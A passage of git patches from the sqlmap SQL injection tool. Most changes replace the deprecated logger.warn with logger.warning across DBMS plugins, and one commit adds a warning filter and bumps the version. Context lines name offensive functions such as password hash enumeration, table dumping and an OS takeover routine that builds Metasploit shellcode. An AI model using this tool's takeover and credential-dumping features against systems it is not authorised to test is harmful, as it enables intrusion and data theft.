SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index c658a2ad636..665d7b9398b 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -12,4 +12,4 @@ class Enumeration(GenericEnumeration): def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index f4c1b91b2b5..93696c9d3e5 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -117,7 +117,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -187,7 +187,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 919a507602e..36b10cc31f5 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -11,48 +11,48 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Presto it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getCurrentDb(self): warnMsg = "on Presto it is not possible to get name of the current database (schema)" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Presto it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Presto it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Presto it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Presto it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Presto it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Presto it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index 27183649d88..f93a877f32a 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -132,6 +132,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index ba54513b76d..ac0d73f09db 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -11,74 +11,74 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Raima Database Manager it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Raima Database Manager it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Raima Database Manager it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Raima Database Manager it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Raima Database Manager it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Raima Database Manager it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Raima Database Manager it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Raima Database Manager it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Raima Database Manager search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Raima Database Manager it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index a8d28e20550..7d5d6a66f77 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -76,7 +76,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -85,7 +85,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index ce30043f836..ef5ea1da307 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -48,7 +48,7 @@ def connect(self): except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" - logger.warn(warnMsg) + logger.warning(warnMsg) try: try: diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index a52772e1c5a..2e801d7e57e 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -12,45 +12,45 @@ class Enumeration(GenericEnumeration): def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return True def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] @@ -60,10 +60,10 @@ def searchColumn(self): def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on SQLite it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 5984ea136b6..24de50c24c1 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -86,7 +86,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: @@ -104,7 +104,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index f00a1c6199c..dda39514ac8 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -59,7 +59,7 @@ def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -169,7 +169,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -295,32 +295,32 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Sybase it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index f6be54f81ca..c34db380847 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -86,7 +86,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -115,6 +115,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index 6cd822402bc..33dee40436e 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -11,6 +11,6 @@ class Enumeration(GenericEnumeration): def getRoles(self, *args, **kwargs): warnMsg = "on Vertica it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index b528a9f78fb..b4666c6148e 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -79,7 +79,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -101,6 +101,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index a911edf3e87..0b5eca36df5 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -11,46 +11,46 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Virtuoso it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Virtuoso it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Virtuoso it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Virtuoso it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Virtuoso it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Virtuoso it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Virtuoso search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Virtuoso it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index ad39d09725c..e62c26b7c90 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -75,7 +75,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -84,6 +84,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 09b72ef5685..3002c0da175 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -65,7 +65,7 @@ def sqlQuery(self, query): elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" - logger.warn(warnMsg) + logger.warning(warnMsg) return None else: @@ -80,7 +80,7 @@ def sqlQuery(self, query): output = NULL except SqlmapNoneDataException as ex: - logger.warn(ex) + logger.warning(ex) return output diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5489fbbd378..32cfe28f018 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -106,13 +106,13 @@ def getDbs(self): warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" - logger.warn(warnMsg) + logger.warning(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" - logger.warn(warnMsg) + logger.warning(warnMsg) infoMsg = "fetching database (schema) names" @@ -120,7 +120,7 @@ def getDbs(self): warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" - logger.warn(warnMsg) + logger.warning(warnMsg) infoMsg = "fetching database (user) names" @@ -220,7 +220,7 @@ def getTables(self, bruteForce=None): if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5.0" - logger.warn(warnMsg) + logger.warning(warnMsg) bruteForce = True elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): @@ -235,7 +235,7 @@ def getTables(self, bruteForce=None): if not tables: warnMsg = "cannot retrieve table names, " warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() - logger.warn(warnMsg) + logger.warning(warnMsg) bruteForce = True else: return tables @@ -381,7 +381,7 @@ def getTables(self, bruteForce=None): if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" - logger.warn(warnMsg) + logger.warning(warnMsg) break elif not isNumPosStrValue(count): @@ -441,7 +441,7 @@ def getTables(self, bruteForce=None): else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() @@ -471,7 +471,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -542,7 +542,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5.0" - logger.warn(warnMsg) + logger.warning(warnMsg) bruteForce = True elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): @@ -925,7 +925,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " if METADB_SUFFIX not in conf.db: warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + logger.warning(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) @@ -994,7 +994,7 @@ def getCount(self): warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" - logger.warn(warnMsg) + logger.warning(warnMsg) elif "." in conf.tbl: if not conf.db: @@ -1004,7 +1004,7 @@ def getCount(self): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 299774a4a8d..365fad20452 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -68,7 +68,7 @@ def dumpTable(self, foundData=None): warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -142,7 +142,7 @@ def dumpTable(self, foundData=None): if METADB_SUFFIX not in conf.db: warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -157,7 +157,7 @@ def dumpTable(self, foundData=None): if METADB_SUFFIX not in conf.db: warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" - logger.warn(warnMsg) + logger.warning(warnMsg) continue kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] @@ -222,7 +222,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: try: @@ -232,7 +232,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if retVal: entries, _ = retVal @@ -254,7 +254,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if not isNoneValue(entries): if isinstance(entries, six.string_types): @@ -314,7 +314,7 @@ def dumpTable(self, foundData=None): warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" - logger.warn(warnMsg) + logger.warning(warnMsg) for column in colList: lengths[column] = len(column) @@ -326,7 +326,7 @@ def dumpTable(self, foundData=None): warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -366,7 +366,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: @@ -376,7 +376,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if retVal: entries, lengths = retVal @@ -437,7 +437,7 @@ def dumpTable(self, foundData=None): kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) @@ -452,7 +452,7 @@ def dumpTable(self, foundData=None): warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 146d6d21d92..2c073c78eb2 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -62,7 +62,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile - logger.warn(warnMsg) + logger.warning(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): @@ -95,7 +95,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" - logger.warn(warnMsg) + logger.warning(warnMsg) return sameFile diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 149f9384b5e..0ac3e2b0f0b 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -40,7 +40,7 @@ def forceDbmsEnum(self): def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" - logger.warn(warnMsg) + logger.warning(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" @@ -55,4 +55,4 @@ def userChooseDbmsOs(self): break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 447134a1485..f3459c8c980 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -183,7 +183,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" - logger.warn(warnMsg) + logger.warning(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what diff --git a/plugins/generic/search.py b/plugins/generic/search.py index d54c47f9154..12195a16163 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -119,7 +119,7 @@ def searchDb(self): if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -249,7 +249,7 @@ def searchTable(self): if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -302,7 +302,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -339,7 +339,7 @@ def searchTable(self): if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) @@ -507,7 +507,7 @@ def searchColumn(self): if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) - logger.warn("%s%s" % (warnMsg, infoMsgTbl)) + logger.warning("%s%s" % (warnMsg, infoMsgTbl)) continue @@ -566,7 +566,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -620,7 +620,7 @@ def searchColumn(self): else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" - logger.warn(warnMsg) + logger.warning(warnMsg) def search(self): if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 686d8b7f701..edb067a3b5b 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -122,7 +122,7 @@ def osPwn(self): else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warn(warnMsg) + logger.warning(warnMsg) else: tunnel = 1 @@ -193,7 +193,7 @@ def osPwn(self): else: warnMsg = "invalid value, valid values are '1' and '2'" - logger.warn(warnMsg) + logger.warning(warnMsg) if choice == 1: goUdf = True @@ -251,7 +251,7 @@ def osPwn(self): warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" - logger.warn(warnMsg) + logger.warning(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") @@ -326,7 +326,7 @@ def osSmb(self): printWarn = False if printWarn: - logger.warn(warnMsg) + logger.warning(warnMsg) self.smb() diff --git a/plugins/generic/users.py b/plugins/generic/users.py index b776e739d22..0b658f2b0ab 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -301,7 +301,7 @@ def getPasswordHashes(self): if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user @@ -345,7 +345,7 @@ def getPasswordHashes(self): else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) @@ -547,7 +547,7 @@ def getPrivileges(self, query2=False): warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser @@ -650,7 +650,7 @@ def getPrivileges(self, query2=False): else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) @@ -668,6 +668,6 @@ def getPrivileges(self, query2=False): def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" - logger.warn(warnMsg) + logger.warning(warnMsg) return self.getPrivileges(query2) diff --git a/sqlmap.py b/sqlmap.py index 1a372b034b2..500e888ffa5 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -36,6 +36,7 @@ warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() + warnings.simplefilter("ignore", category=ResourceWarning, append=1) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) @@ -533,7 +534,7 @@ def main(): if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS: warnMsg = "your sqlmap version is outdated" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) From e8731e1af5898b68207b4d0da1322ceac6e1cd73 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Jun 2022 13:05:41 +0200 Subject: [PATCH 042/599] Some DeprecationWarning fixes --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 13 ++++++++----- sqlmap.py | 5 ++++- 3 files changed, 13 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f4da0b0a067..84cc405c5cd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.6" +VERSION = "1.6.6.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 9f1af00288d..be67316d88a 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -5,7 